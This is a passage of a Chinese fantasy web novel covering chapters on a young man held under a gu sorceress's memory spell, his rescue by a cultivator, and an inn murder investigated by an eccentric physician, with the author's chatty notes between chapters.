他喊道,声音带着自己都未察觉的亲昵和熟稔,“送你了!” 燕黎舟自认为自己是个大度的男人。 哪怕对方是一个刚刚说完他丑的男人。 男人握紧,抬眸看向对岸笑得毫无阴霾的青年,唇角似乎弯了一下,快得如同错觉。 对方将晋绳连同石子一块收入袖中,再抬眼时,依旧是那副冷淡模样。 颔首:“多谢。” 说完,男人不再停留,转身离去,白色的身影很快消失在浓密的林雾深处。 燕黎舟站在原地,看着那人消失的方向,脸上的笑容慢慢淡去。 脚踝的银铃安静了下来。 心口那点细微的抽痛,不知何时也平息了,取而代之的,是一种更深的茫然。 他低头看着自己空荡荡的手腕,脚踝的银铃安静贴着皮肤,冰凉的触感让他一个激灵。 “阿哥!原来你在这儿,让我好找!” 燕黎舟一顿,扭头。 蛊娘子笑吟吟地走近,溪水浸湿了她的绣花鞋和裙摆,蛊娘子却毫不在意,亲昵地挽住燕黎舟的胳膊,力道带着一丝不容拒绝的意味。 “不是说了让你在屋里好好歇着吗?怎么跑出来了?” 她的声音依旧柔婉,目光却无意地扫过燕黎舟空荡荡的手腕。 最后视线又落回燕黎舟脸上,仔细打量着他的神情。 燕黎舟实话实说:“刚刚又碰到了今早那个人,聊了两句。” 他想,只是一个陌生人而已。 燕黎舟蹙眉,低头盯着蛊娘子湿掉的衣服,不赞成道。 “水凉,怎么下来了。” “要是生病了怎么办?” 蛊娘子弯了弯唇,刚想说些什么,身后突然有个和蛊娘子同样打扮的婆子喊。 “蛊娘子,有人进后山!” 蛊娘子脸色一变,燕黎舟也跟着一起蹙眉。 这几月燕黎舟也知道后山里的东西对他们的重要,可后山只有女人可以去。 “你先去,我晚上等你回来。”燕黎舟道。 “好!”蛊娘子点头,“阿哥等我!” 看着蛊娘子急忙离开的背影,燕黎舟想说让她换身衣服,但还没来得及开口,人就已经不见了。 他盯着蛊娘子离开的背影好一会儿,抬头能看见那个神秘的后山,周围被云雾围绕着,仙山自在。 半响燕黎舟才转身,踩着溪水往回走,湿漉漉的裤脚粘在皮肤上,很不舒服。 竹楼。 屋内静悄悄的,燕黎舟坐在竹椅上,看着窗外逐渐西斜的太阳,他下意识地摩挲着手腕,那里空空如也。 蛊娘子还没有回来。 夜。 燕黎舟躺在床上,翻来覆去,毫无睡意。 腕间空落落的感觉愈发明显,他甚至无意识地用另一只手反复摩挲着那块皮肤,仿佛这样就能找回点什么。 就在燕黎舟心烦意乱之际,窗户却突然发出一声细微的声响。 燕黎舟瞬间屏住呼吸,猛地睁大眼睛看向窗口。 竹窗不知何时被推开了一条缝隙,夜风涌入,带着山林间的凉意。 而就在那窗沿之上,一点熟悉的艳红刺痛了他的眼睛。 是那根红绳! 它安静地躺在那里,白日他系着的那个石头也安安静静地躺在旁边,月光下泛着温润的光。 这是……被还回来了?—— 作者有话说:最近文有点卡,偶尔写着写着就开始胡思乱想,想是不是写的太水了,但是又不知道该怎么删减[托腮] 读者日益减少让我有点恐慌,但又觉得有点庆幸,不是很多人看我的作品,所以就不会有很多人批评我[闭嘴] 可是写作水平的原地踏步甚至是退步,让我有点精神疲惫,哎—— 但是没关系,我会好好日更完结的,等我有能力那天,等我强大起来! 到时候会有很多很多的朋友看我的文字,到时候会有好多好多的朋友喜欢这个故事,到时候我会很丰富多彩![撒花][撒花][撒花] 到时候——希望依旧是pai的乌托邦,希望“到时候”可以早点来到![哈哈大笑] (小小吐个苦水,好啦,我要继续码字啦[摊手]) 晚安! 第39章 燕黎舟几乎是弹坐起来, 赤着脚几步冲到窗边,一把将红绳和石子攥进手里,然后迅速退离窗边。 燕黎舟来不及去想为什么那个人不要了, 他现在只想将红绳重新戴回手腕, 仿佛只有这样, 心里那个空洞才能被填满。 然而, 就在红绳在触碰到皮肤的那一刻, 他猛地顿住了。 不对。 这红绳……感觉不一样了。 他虽然喜欢,但之前的红绳就是一件死物。而此刻, 它静静地躺在他的掌心, 却仿佛有了生命一般。 那力量并不霸道,反而带着一种安抚人心的暖意,丝丝缕缕地渗入他的皮肤, 神奇地压下了他整晚的焦躁不安。 这不是他白天扔出去的那根。 至少,不完全是。 是谁?是他吗? 他为什么要换一根回来?这根…… 燕黎舟攥紧红绳,远远隔着窗户四处张望。 夜色浓重,竹楼外空无一人, 只有风吹过竹叶的沙沙声响。 脚踝上的银铃安安静静, 毫无反应。 燕黎舟他摊开手掌, 凝视着掌心的红绳和石子。 月光下,那抹红色艳丽又温暖,像一个小小的花环。 他犹豫了片刻,最终小心翼翼地, 将红绳重新系回了腕间。 而远处,隐匿于黑暗山林间的洛不觉,感受着通过晋绳传来那缕魂魄逐渐稳定下来的微弱气息,一直紧绷的唇角, 终于松了口气。 他微微侧头,余光看向身边站着不说话的人。 …… 蛊娘子看到燕黎舟手腕上再次出现的红绳,只是抿了下唇。 “阿哥,”她神色有些落寞。 “你会永远陪在我身边吗?” 燕黎舟对于这个问题没有犹豫,他帮蛊娘子处理着她手上的伤口。 “当然。”燕黎舟说。 “我们从小就在一起,我们以后也会在一起一辈子。” 蛊娘子罕见的没有拉着燕黎舟的胳膊,抿了抿唇,不说话。 时间一点点流逝,夕阳将竹楼染上一层暖橘色。 处理完伤口后蛊娘子就走了,燕黎舟独自待在竹楼里。 蛊娘子不在,他离开不了竹楼太远。 突然,窗外又传来轻轻的一声,小石子砸在竹窗上的声音。 燕黎舟一怔,疑惑地站在远处看着窗外。 窗外暮色渐浓,并无他人。 他正想走开,目光却猛地被窗台上的一样东西吸引。 那是一枚用细长草叶精心编织成的一只活灵活现的蚱蜢。 翠绿欲滴,触须分明。 编得极其精巧,带着一种生趣盎然的灵动。 是谁放的? 燕黎舟顿了一下,拿起一旁的一根杆子,将窗台上的那只草编蚱蜢勾了回来。 他走出竹楼左右张望,周围安安静静,根本看不到任何人影。 是寨子里调皮的孩子吗?这编织的手艺,未免也太好了些。 燕黎舟捏着那只草蚱蜢,翻来覆去地看,越看越觉得喜欢。 他忍不住弯起嘴角,将草蚱蜢小心地放在窗台最显眼的位置,想着或许是哪个害羞的孩子送的,明天得去问问。 这一夜,燕黎舟睡得并不踏实。 梦境光怪陆离,醒来时却又记不得梦到了什么。 他醒来第一件事就是去看窗台。 那只草编蚱蜢依旧安静地待在原处,在清晨阳光下泛着湿润的绿色。 他松了口气,又隐隐有些失望,送东西的人并没有出现。 接下来的几天,仿佛成了某种心照不宣的约定。 每天傍晚,夕阳将落未落之时,总会有一样小东西悄然出现在他的窗台上。 有时是一朵用不知名野花编成的精致花环,有时是一枚被磨得光滑的木刻小符。 甚至有一次,是一只用宽大叶片折成的小船,船篷窗户一应俱全。 每一件都小巧精致。 燕黎舟依旧不知道是谁送的,寨子里的人也似乎毫无察觉。 他试探着问过寨子里的几个孩子,孩子们都茫然地摇头。 这天傍晚,燕黎舟照例迫不及待地看向窗户。 这次窗台上却空空如也。 他心里猛地一沉,一种巨大的失落感瞬间笼盖住他。 怎么……今天没有了? 燕黎舟不死心,他小心翼翼地探出窗,心脏跳动的声音越来越大,眼睛看到下面头有点晕,整个人十分僵硬。 周围暮色四合,什么也没有。 就像之前怎么也找不到送东西的人,现在连东西都找不到了。 燕黎舟咬着牙,刚要返回去,眼角的余光忽然瞥见楼下不远处,溪流边的那棵老树下,一个白色的身影静静伫立。 是那个人! 男人似乎在那里站了许久,微仰着头,正望着燕黎舟窗口的方向。 两人目光隔着渐浓的暮色,再次相遇。 又是他。 几乎是毫不犹豫地,燕黎舟远离窗户,飞快地跑下竹楼,朝着溪边那棵树奔去。 他气喘吁吁地停在洛不觉面前,因为奔跑,脸颊泛着红晕,眼睛亮得惊人。 燕黎舟看着男人,第一次主动地问道: “……窗台上的东西,都是你放的,是吗?” 洛不觉没有否认。 他缓缓抬起手,掌心里躺着一枚新编好的,用藤蔓和紫色小花交错缠绕而成的手环。 “嗯。”他低低应了一声,声音融在晚风暮色里,似乎比往常柔和了那么一丝丝,“喜欢吗?” “喜欢!”燕黎舟大大方方道,他很喜欢。 但他没有立刻去接,反而抬起头,目光直直地望进洛不觉那双总是过于冷静的眼睛里,追问:“为什么?” 在那双漂亮眼睛注视下,燕黎舟问:“你不是嫌我丑吗?” “没有。”洛不觉有些疑惑,对这个问题不知道是怎么来的。 “……胡说什么。” 燕黎舟微微睁大眼睛,没想到这人居然不承认,他还以为这人是个敢作敢当的。 他手脚齐用地比划:“就之前,第一次见面,你说我难看,脸色不好。” 说完,燕黎舟又伸手摸了摸自己的脸。 洛不觉盯着燕黎舟手腕上的细长红绳,措不及防那双手摸上他的脸。 随即他脸上的人皮面具就被这双手扯了下来。 洛不觉顿了一下,似是没想到,薄唇轻抿,不知道该怎么解释。 燕黎舟怔怔地盯着面前的这张脸,呼吸猛的一滞。 他曾说没见过比他还好看的人,现在有了。 燕黎舟喉咙有些干涩地上下滚动了一下,硬是把自己的目光从对面这人扯开,转移话题。 “蛊娘子好几天都没来了,我在这儿都无聊死了。” 说完他突然想到什么。 “可能是因为之前后山被人闯入,她突然开始变得很忙,那天还受伤了。” 洛不觉唇抿得更深了,他伸手,掀起自己袖子,小臂上也有一条又细又长的红色伤口。 看样子马上就要愈合了。 洛不觉僵硬道:“我也受伤了。” “你怎么也……” 燕黎舟低头,看着对方小臂上的伤口,几秒后他伸手,指尖几乎要碰到那微红的皮肤。 他抿了下唇:“严重吗?疼不疼?怎么弄的?” 洛不觉的手臂微微僵了一下,却没有躲开。 就在燕黎舟的指尖即将触碰到伤口的刹那,洛不觉却忽然手腕一翻,避开了他的触碰,转而将一直托在掌心的那枚藤蔓花环,轻轻套在了燕黎舟伸过来的手腕上 “无碍。” “小伤。”他又补充了两个字,像是为了强调真的不严重。 燕黎舟也不执着,听对方这样说,点点头,耳朵红了红,似是觉得不好,礼貌疏离地嘱咐。 “那你下次小心点,别受伤了。” 燕黎舟摩挲着手腕上的花环,忽然又想起之前那个被岔开的话题。 他抬起头:“那你之前……说我脸色不好?是不是真的很难看?” 燕黎舟对此事格外耿耿于怀。 洛不觉盯着燕黎舟的眼睛,一字一顿: “没有,很漂亮。” 燕黎舟扬了扬唇角,被一个很漂亮的人夸很漂亮,那他真的是很漂亮了! “嗯,我知道。” “没说我丑就行。” 洛不觉顿了顿,视线重新锁住燕黎舟的眼睛。 就在燕黎舟以为他要说什么很重要的事时,洛不觉:“你不是寨子里的人。” 燕黎舟几乎是本能地脱口而出:“我是。” 他甚至下意识地挺直了背脊,像是在捍卫某种不容置疑的认知,“我从小就在这里长大。” 这句话仿佛早已在心中重复了千百遍,是燕黎舟坚信不疑的真理。 洛不觉目光盯着燕黎舟,缓缓抬起手,不是朝向他,而是指向溪流对岸寨子中心的方向。 “那你说,”洛不觉的声音低沉平稳。 “寨子里,最常用来喝的清酒,是用哪种野果酿的?” 酒?野果?燕黎舟皱眉。 寨子里确实有清酒,蛊娘子给他喝过。他应该知道的,他“从小在这里长大”,他喝过不止一次! 哪种野果? 是哪几种? 燕黎舟的嘴唇张了张,试图吐出几个名字。山梨?野葡萄?还是……酸枧子?不,不对,味道不对…… 好像是……是…… 脑袋里像是塞满了一团湿透的棉絮,沉重又混乱。他应该知道的,寨子里所有事情,生活日常,他都该如数家珍。 “还有……”洛不觉话音微顿,视线扫过燕黎舟瞬间僵住的脸。 “明明你恐高,为什么蛊娘子让你住在竹楼?” 燕黎舟的嘴唇张了张,却发不出任何声音。 “为什么……我恐高吗……” 他的记忆里此刻一片空白。 只有蛊娘子温柔的声音反复告诉他:这里很安全,大家都是你的亲人,你属于这里。 洛不觉没有再问。 他的目光重新落回燕黎舟脸上,那眼神里没有嘲讽,没有逼迫,只有一种沉静的,令人心慌的了然。 他什么也没说,却又像是什么都说了。 冷汗悄无声息地浸湿了燕黎舟的后背。 他看着洛不觉那双眼睛,燕黎舟下意识地后退了一步,脚踝上的银铃因这动作发出清脆却又刺耳的一响。 “我……”他的声音干涩发颤,“我……” “阿哥,别被外人骗了。” “我才是你最亲的人。” “这里才是你的家。” “这里是安全的。” 蛊娘子的声音似乎又在耳边响起。 洛不觉往前一步:“燕黎舟。” 燕黎舟晃了晃脑袋,伸手推了洛不觉一下。 “燕黎舟是谁?” “别喊我,我不是。”—— 作者有话说:(扯了扯胸前粉色蝴蝶结)(昂首挺胸)(上台鞠躬)(清了清嗓子然后拍拍小pai的蓝色麦克风) [摊手](抬手打招呼) 哈喽,又是我(准时更新版),我来更新啦! 今天没啥好说的,请看下一章[撒花]么!以及—— 晚安! 第40章 燕黎舟咬牙, 不再去想要理这个人,转身逃走。 洛不觉蹙眉看着燕黎舟狼狈的背影,对从旁边那颗粗壮的古树后面走出来的蛊娘子道。 她身上的铃铛叮铃作响。 “蛊虫, 什么时候解开。” 蛊娘子看上去心情并不好, 她看着自己辛苦打造的“寨子”, 整个人面无表情。 “一会儿。” “我还没带阿哥去后山。” 洛不觉没什么反应, 只是提醒:“最后半个时辰。” “……” 燕黎舟想把自己关进竹楼里面, 在竹楼上下翻找,自己从小到大的痕迹。 “阿哥。” 蛊娘子站在门口, 不知道什么时候来的, 看着跪在地上,被周围散落一地的东西包围着的燕黎舟。 “我们去后山吧。” “后,山。” 燕黎舟垂下眼睫, 声音低哑:“……好。” 他撑着发软的身体,慢慢站起来,没有去碰蛊娘子的手。 蛊娘子在前面走,燕黎舟就行尸走肉地跟在后面, 经过门口时, 他的目光下意识地扫向外面的古树。 那里空无一人。 人已经不在那里了。 沿着小路一直往上走, 蛊娘子口中“只允许女人上去的后山”就这样慢慢展露在他眼前。 视线变得有些模糊,燕黎舟用力眨了眨眼,努力跟上蛊娘子的脚步。 周遭的景物开始扭曲变形,熟悉的景物好似都蒙上了一层不真实的灰雾。 唯有蛊娘子身上清脆作响的银铃, 一声声,如同无形的丝线,牵引着他整个人麻木地向前。 燕黎舟没注意,洛不觉一直跟在他身后。 山路蜿蜒向上, 雾气渐浓,不知走了多久,蛊娘子才停下,侧身让开。 燕黎舟怔怔地从蛊娘子身后走出来,视野骤然被面前无边无际的绚烂色彩填满。 后山,是一片花海! 一片盛大到令人窒息的花海! 无数他叫不出名字的奇异花朵在浓雾下恣意怒放,花瓣饱满,色泽浓艳,绵延铺展直至视野尽头。 浓郁到化不开的甜香如同实质,几乎要将他溺毙。 燕黎舟混沌的脑袋因为看见面前的场景变得更加的浑噩,眼睛微微瞪大。 “好看吗,阿哥。” 蛊娘子的声音在他耳边响起。 不等燕黎舟再答,蛊娘子双手合十,自言自语般地虔诚拜道。 “山神保佑,惟愿燕黎舟平安!” “生生世世,无病无灾!” 一字一句清清楚楚在燕黎舟耳边响起,他只觉得喉咙干涩,想说点什么却又张不开嘴。 这时,一双手从身后伸出来,遮住了燕黎舟的眼睛,是熟悉的冷檀香味,那人的掌心微凉。 “燕黎舟。” 洛不觉低沉的声音紧贴着他的耳朵响起,气息拂过耳朵,令人心安。 几乎在同一时间,一只手臂环过他的腰际,将他往后一带,燕黎舟整个人稳稳地被纳入一个宽大冰冷的怀抱。 燕黎舟浑身一颤,像是终于找到了依靠,他几乎是脱力地向后靠去,后背紧贴着对方微凉的胸膛。 鼻腔里充斥着那股好闻的檀香味。 与此同时,周围那浓艳近妖的花朵像是被无形的力量碾过,成片成片地枯萎凋零,化为黑色的飞灰! 蛊娘子站在花海中,侧目回头看着燕黎舟。 她脚下花海已然不见了踪影,暴露出来的一个巨大的,由无数漆黑蛊虫蠕动着构成的诡异巢穴! 丝丝缕缕的血色雾气从中渗出,融入巢穴上方的空气,天空变成血红色,太阳也变得诡异。 洛不觉和蛊娘子对视一眼,前者拉着燕黎舟迅速消失在原地。 “……百病无忧!”蛊娘子没有表情,那双又美又冷的眼睛盯着燕黎舟消失的地方。 脚下蛊虫不安分地蠕动着。 一条灰色的蛇顺着蛊娘子的衣角缓缓爬上来,腥红的眼睛盯着前方,冰冷的吐着蛇信子。 蛊娘子盯着手上缠上来的蛇,手一用力,蛇的脑袋被她捏了个粉碎,甩手丢掉。 “难看。”她皱眉道。 燕黎舟再次醒过来是在客栈的床上,周围安安静静,他做了一个噩梦。 洛不觉坐在床边,双眼微闭,手拉着他的,眉头紧紧蹙起。 感受到掌心有些出汗,燕黎舟动了动手指,床边的人立马被惊醒。 看到眼前的场景后,才微微松了口气。 “回来了。” 洛不觉的声音沙哑,他并未松开燕黎舟的手,反而指尖顺势搭上对方的脉搏,仔细探查燕黎舟体内的气息。 “怎么了?” 燕黎舟有些疑惑洛不觉的举动,歪了下头。 看着洛不觉有些白的脸,故意调弄:“洛仙长,你这表情好像我死了没埋,你在给我哭丧一样。” “没事。”洛不觉转身,给燕黎舟倒了杯茶水递过去:“润润嗓子。” 话未说完,客栈楼下突然传来一阵轻微的骚动,像是有人匆匆跑过,还夹杂着几句模糊的低语。 “怎么又死了……” “赶紧报官!” “这怎么没过多久又死一个,这客栈不太吉利吧。” 洛不觉与燕黎舟对视一眼,洛不觉按了下燕黎舟的肩膀:“我去看看。” 燕黎舟伸手拉住,一把把手里的茶干了:“我也要去!” 洛不觉眉头微蹙,伸手想拦,但燕黎舟已经从床上起来,三步并两步打开门钻了出去。 燕黎舟并未立刻下楼,而是站在二楼的栏杆向下望,蹲在地上手指死死抓着栏杆,生怕自己掉下去,从栏杆的空隙望着下面。 视线被下方官差和攒动的人头挡了大半。 几个伙计和住客聚在一角窃窃私语,时不时露出不忍的神色用手遮住自己的眼睛,客栈掌柜在一旁擦着汗,试图安抚众人。 靠近人群,只听一个胆大的伙计白着脸比划。 “哎呦,脖子都被什么东西绞得都快断了,脸都是紫的,身上还有好多虫子……” “官府的人什么时候来?”掌柜急问。 “已经去叫了!” 洛不觉下楼探查,燕黎舟留在二楼栏杆处,目光却紧跟着洛不觉的身影。 虽然隔着一段距离,但也能看清那具尸体面貌,是之前带头抓捕公羊胜的那名捕快。 就在这时,人群中突然窜出来一个身着灰蓝色布衣的年轻人,身后背着一个半旧的药箱。 直接弯腰蹲在尸体旁边,拿出一根细长的银针,小心翼翼地探入死者脖颈的伤口处。 周围几个人有些惊讶,这年头居然还有不怕死的,去碰那样晦气的东西。 银针拿出来时,针尖上面挑出来一只还在动的白色蛆虫。 见状围着的人纷纷又退开几步。 “哎!你谁,干什么的?官府办案,休得打扰!”捕快赶过来时,看到这场景几步上前,扣住那人的肩膀。 男人被别着一只胳膊,哎呦哎呦了两声,梗着脖子龇牙咧嘴,语气震惊。 “你不认识我?” “这是阎王愁吧?” 人群里面有人认出来,小声嘀咕。 “嗯!”薛三钱空出来的手指了指刚刚出声那人,满脸写着“有眼光”。 周围突然一静,扭着他的捕快都下意识松了松力道。 领头捕快脸色一变,快步上前,仔细打量对方那张沾了点泥灰却掩不住精明的脸,迟疑道。 “您,真是那位江湖上活死人,肉白骨,阎王见了也发愁的薛三钱薛神医?” 薛三钱挣开束缚,揉着胳膊,没好气地哼了一声。 “如假包换!天才少年薛三钱!要不是看这人死得蹊跷,怕是什么害人的瘟疫邪蛊流传开来,你们会免费白嫖我,要不然才懒得凑你们这热闹!” 他甩了甩银针,那蛊虫掉在地上,被他一脚碾碎,“瞧瞧!这是什么正经死法吗?” 说完薛三钱喉咙上下滚动了一下,脚飞快地又在地上碾了碾,好似那是什么吃人猛兽。 众人看向地上那摊被碾碎的虫子尸体,顿觉头皮发麻,再看薛三钱时,眼神已带上敬畏。 这人的名头极大,传言没有他救不回来的人,解不了的毒,许多江湖豪杰,甚至官家显贵都曾受过他的恩惠。 领头捕快态度立刻恭敬起来。 “原来是薛神医当面,有眼不识泰山,恕罪恕罪!快请看看,这到底是个什么情况?” 薛三钱这才像是顺了气,重新蹲回尸体旁,一边检查一边絮叨,但不知道为什么脸色有点难看。 “看这蛊虫活性,中蛊的时间怕是不短了,至少……三五个时辰是有的。 他说话间,眼角余光似不经意地扫过站在一旁的洛不觉。 洛不觉面无表情,转身回到燕黎舟身边,将他从栏杆旁稍稍拉开。 燕黎舟往洛不觉的方向凑了凑,伸手抓住洛不觉的胳膊。 他解释:“太高了我害怕,我得抓着点什么。” 说完燕黎舟又压低了声音,眼睛还瞟着楼下那位神医:“这人名头这么大,你知道吗?” 他反正不知道,原书里提都没提过。 洛不觉伸手,轻轻将燕黎舟几乎要蹭到自己肩膀的脑袋掰正,语气平淡:“不知道。” 旁边一个面容普通的乞丐不知何时凑了过来,压低声音突兀地插了一句:“草精!” 说完似是意识到自己声音有点大了,连忙伸手捂住嘴巴,紧张地四下瞟了瞟。 然后才又压低声音:“你没事了吧?” 燕黎舟被这没头没脑的问话搞得不明所以,扭头看着这人:“我能有什么事?” 洛不觉冰冷的视线扫了过来。 在旁边洛不觉的注视下,公羊胜哈哈着挠了挠自己的脑袋,又低头扣扣自己衣服上的洞。 “没事,我昨晚做噩梦了,梦到你死了。” 燕黎舟在这人叫他“草精”时就认出来身份,闻此言论更是皮笑肉不笑。 “滚。” 楼下薛三钱站起身,拍了拍手,从药箱里摸出个小瓷瓶,倒出些白色的粉末洒在尸体周围。 “所以啊,抓人得讲证据,不能看谁穿得破就逮谁。” 领头捕快脸上有些挂不住,都知道他们刚抓了个乞丐,这没一晚上乞丐就越狱了。 现在人没抓到,捕快又死了一个。 他讪讪道:“薛神医说的是,那依您看,这下蛊之人……” “那我哪知道!” 薛三钱翻了个白眼,用一块白布慢条斯理地擦着手收拾起他的药箱。 “我就是个大夫,负责看伤看病看死人,抓凶手是你们官府的事!赶紧的,把这尸体处理了,烧干净,深埋!” 他擦完了手,将白布随手丢开,背起了他的旧药箱,对着那领头捕快没好气地哼了一声—— 作者有话说:依旧不知道该说什么一章作话—— 祝包子们天天开心吧,期待国庆节假期的到来。很感谢喜欢这本书的你们,感谢你们愿意付费买我的文字。(鞠躬) 好啦,接下来是不正经作话∶ 今天我码了两章哦,凌晨一章一直到三点多,七点醒了,白天又码一章,可能是周末,码的格外多呢(这里需要夸夸![哈哈大笑]) 发布文章的时候在想,怎么可以这么快呢,怎么这就到发布这章的日期了呢,前两天我还在因为卡文难受,这就已经到“薛三钱”出场了! 危!!! 我是个大纲极其简略选手,之前也说过,这个剧情就写了个【秘境】,其余都是现胡扯八道的。在我的初步设想里,这些剧情应该在本文的七十章的位置。好啦,哈哈哈哈,差了三十章呢[化了] 不过没关系,我自认为该写的都写了,会有一部分应该是剧情的,但我懒,直接写心理了(没错,就是小燕子草形态对洛不觉态度转变的那一堆堆[小丑]) 大纲已经过了一半,真的很苦恼,觉得自己不适合写长篇,脑子里没有那么多活人剧情…… (虽然很期待完结解脱了的说[饭饭]) 好啦,最后么么么!碎话好多,晚安晚安![眼镜] 40-50 第41章 二楼, 戴着人皮面具的公羊胜挠了挠下巴,嘀咕道:“这小白脸……看着不怎么靠谱,懂得倒还挺多?” 他转向洛不觉和燕黎舟, “咱们现在怎么办?这地方邪乎得很, 要不……溜?” 楼下薛三钱擦完了手, 将白布随手丢在尸体旁, 背起他的旧药箱, 转身就要走。 那姿态,浑不像个名声显赫的神医, 倒像个脾气不大好的年轻郎中刚看完了个麻烦病人。 就在他转身之际, 目光似乎不经意地扫过二楼廊道,在戴着人皮面具低头抠衣服破洞的公羊胜身上短暂停留了一瞬。 随即,他又撇撇嘴, 像是觉得无趣,大步流星地朝客栈外走去。 “哎!薛神医!您这就走了?万一……”领头捕快还想挽留一下。 “万一什么万一!” 薛三钱头也不回,声音带着几分不耐,“该说的我都说了!剩下的你们自己折腾!我忙着呢!” 话音未落, 他人已出了客栈, 身影迅速消失, 去得相当干脆。 楼上,公羊胜还在挠头,嘀嘀咕咕:“奇怪,总觉得那小子刚才好像瞪了我一眼?” 说着他摸了摸自己的脸:“难道这脸的主人欠他钱?” 洛不觉目光转向公羊胜:“他认识你?” 公羊胜立刻举手发誓, 人皮面具上的表情格外认真。 “冤枉啊!我这一百年都没出过那鬼地方,上哪认识这种毛都没长齐就脾气冲天的小神医去?什么阎王愁,没听过。” 领头捕快擦了擦额角的汗,视线扫过客栈, 注意到二楼的洛不觉。 那领头捕快深吸一口气,几步上前,对着二楼廊下的洛不觉抱拳,语气带着几分恳求。 “仙长,您也看到了,此事实在诡异非凡,非我等俗吏所能解。可否请您……” 他话未说尽,但意思再明白不过。 洛不觉神色平静,未置可否。 一直不管事的公羊胜却已一步跨出,身形利落,抢先开口道。 “帮忙自然可以!不过破案抓凶,总得知己知彼。方才那位薛神医来去匆匆,话也没说全,我们先去寻他问个明白!” 公羊胜说得理所当然,声音清亮。 洛不觉瞥了他一眼,转头见燕黎舟也一脸热切地盯着他,点了点头。 “一切小心。若有不对,立刻退回。” “放心!”燕黎舟笑容灿烂,一拍腰间短剑,跟着公羊胜飞快离开二楼。 公羊胜拉着燕黎舟边走边小声嘱咐燕黎舟,“这地方晦气,早溜早好!” 洛不觉看着燕黎舟离开的背影,这人似乎是站在高处久了,腿有些发软,眼底闪过一丝极淡的笑意,随即恢复平静。 他转而看向楼下不知所措的捕快,微微颔首。 公羊胜走在前面调整脸上有些歪斜的面具,边走边回头看旁边的燕黎舟,怕人跟丢了。 “放心,让你相好的忙去吧,他是云京的人,本事厉害着呢。” “走走走,好不容易出来,哥带你这草精去吃香的喝辣的。” 燕黎舟看着四周的摊子,也是一脸好奇,他勾了勾唇。 “我身上没钱。”燕黎舟提前说好。 前面走着的公羊胜一顿,然后震惊回头,视线上下打量着燕黎舟。 “你没钱!你不管钱?你钱都在你相好的那里?你一分也没有!” “钱怎么可以不把握在自己手里啊!啧,这我要好好说说其中的门道了……” “啧。”燕黎舟嫌弃这人啰嗦皱眉:“什么相好的,本来我也没钱。” “那怎么了,你俩还分什么你我,他的就是你的,走走走,回去拿我们的钱。” 燕黎舟侧身躲开公羊胜拉他的手:“你都说了,好不容易出来,玩一玩玩一玩。” 公羊胜一脸恨铁不成钢,还是顺着燕黎舟的话问:“你没钱玩什么?” 燕黎舟没回答,下巴微扬,前面一个背着旧药箱的青色身影正不紧不慢地走着,不是薛三钱是谁? “他有。”燕黎舟道。 “打劫?” 公羊胜脸上有些纠结:“这不好吧。” 说着他看了看自己,又看了眼面前瘦弱的燕黎舟,抬头再看看和他们俩比高大的薛三钱。 “……” 岔路之后竟是一片人迹稍稀的旧街,薛三钱的身影在前方一闪。 镇子不大,两人跟着薛三钱很快就出了街口,前方是一条狭窄的土路,蜿蜒通向山脚,两侧是半人高的荒草。 燕黎舟疑惑着四处扫看,突然脚下道路一空! 他们前方竟是一处断崖,土路在此拐向一侧,沿山腰盘绕,而正前方则是深不见底的山谷。 他冲得太急,一时收势不及,大半个脚已然踏空,几粒碎石跟随着滚落下去。 “!!!” 燕黎舟脸色骤然煞白,一股冰冷自脚底板直冲天灵盖,浑身血液仿佛霎时凝固。 他猛地向后一仰,身体失去平衡,眼看就要栽落。 千钧一发之际,一只干瘦却有力的手从后面猛地揪住他的衣领,将他硬生生拽了回来。 “哎哟喂,我的爷爷!” 公羊胜的声音在他耳边响起,急急忙忙拉住燕黎舟的后,语气里还带着几分戏谑,冲着人眨眨眼。 “追人也不用这么投胎似的奔吧?差点真要去见阎王了。” 燕黎舟踉跄着倒退好几步,直至后背撞上一棵枯树,才勉强站稳。 心脏狂跳,撞击着胸腔,连呼吸都带着颤音。 他死死抓着粗糙的树干,指节发白,眼睛紧闭,根本不敢再朝悬崖方向看上一眼,额角已是沁出细密冷汗。 公羊胜将人拉上来,瞧着对方瞬间褪去血色的脸,愣了一下,随即恍然,挠挠面具下巴:“哦豁……忘了你这毛病了。” 燕黎舟抿紧嘴唇,缓了好一会儿,才勉强从牙缝里挤出声音:“……没、没事。谢谢。” 声音带着一丝难以控制的微颤。 公羊胜看了眼四周:“这小子属泥鳅的?” “啧,专挑这种不是人走的路……” 就在此时,一个冷冰冰的,带着十足不耐烦的声音从他俩身后响起。 “你管我属什么的,你们跟着我做什么?” 两人猛地回头。 只见薛三钱不知何时竟悄无声息地出现在了他们身后,双手抱胸。 眼睛上下打量着他们,最后定格在公羊胜那张怎么看怎么不自然的人皮面具上。 薛三钱嘴角撇出一丝毫不掩饰的讥嘲,他开口,声音依旧带着那股子不耐烦,却字字清晰,一扬下巴,对着公羊胜开口。 “喂。” “脸上戴着死人的东西,不觉得晦气吗?” 公羊胜被骂得愣在当场,下意识摸了摸自己的脸,嘀咕道:“……这脸的主人都死透几十年了,确实是个死人没错。” 薛三钱显然听力极佳,闻言翻了个白眼,像是懒得再废话。 他啐了一口,再次转身。 “哎哎哎!” 公羊胜叫住人,伸手指了下燕黎舟:“你不是神医吗,给他看看,他这恐高。” “……能治吗?” 薛三钱脚步顿住,半侧过身,那双眼睛在燕黎舟尚且苍白的脸上扫过,又落回公羊胜那张怎么看怎么别扭的人皮面具上。 “恐高?” 他嗤笑一声,“心病,无药石可医。要么自己克服,要么摔死拉倒。我是郎中,不是跳大神的。” “倒是你,”他抬了抬下巴,指向公羊胜的面具,不知道为何缘故,话题又扯到这上面来。 “死人东西戴久了,阴气侵体,损的是你自己的阳气。轻则时运不济,重则神思恍惚,噩梦缠身,迟早变成真鬼。” 说完,薛三钱的身影已然再次消失。 公羊胜:“???” 他彻底懵了,指着自己鼻子,看向燕黎舟,声音里充满了难以置信的委屈: “不是!他,他什么意思啊?我这面具招他惹他了?他凭什么光骂我?!” 公羊胜拍着燕黎舟的背,给他顺气。 “这小白脸!就是嫉妒我这面具长得比他俊!” 燕黎舟被他拍得咳了两声,本就因恐高而发白的脸色更白了几分。 他缓过那阵心悸,这才推开公羊胜的手,没好气道:“你省省吧。” 燕黎舟下意识地又瞥了一眼那深不见底的悬崖,迅速收回目光,喉结滚动了一下。 公羊胜噎了一下,紧接着跳脚道:“草精,我跟你说,我这面具。” 他眼珠一转,忽然凑近,压低声音,神秘兮兮。 “这可是我当年在秘境里,千面戏狐死后尸体储物袋里扒出来的。千面戏狐你认识不,这可是他的得意之作!多少人求都求不来!” 说完他看着燕黎舟一脸平静的脸,并没有因为他的话露出惊讶的神色。 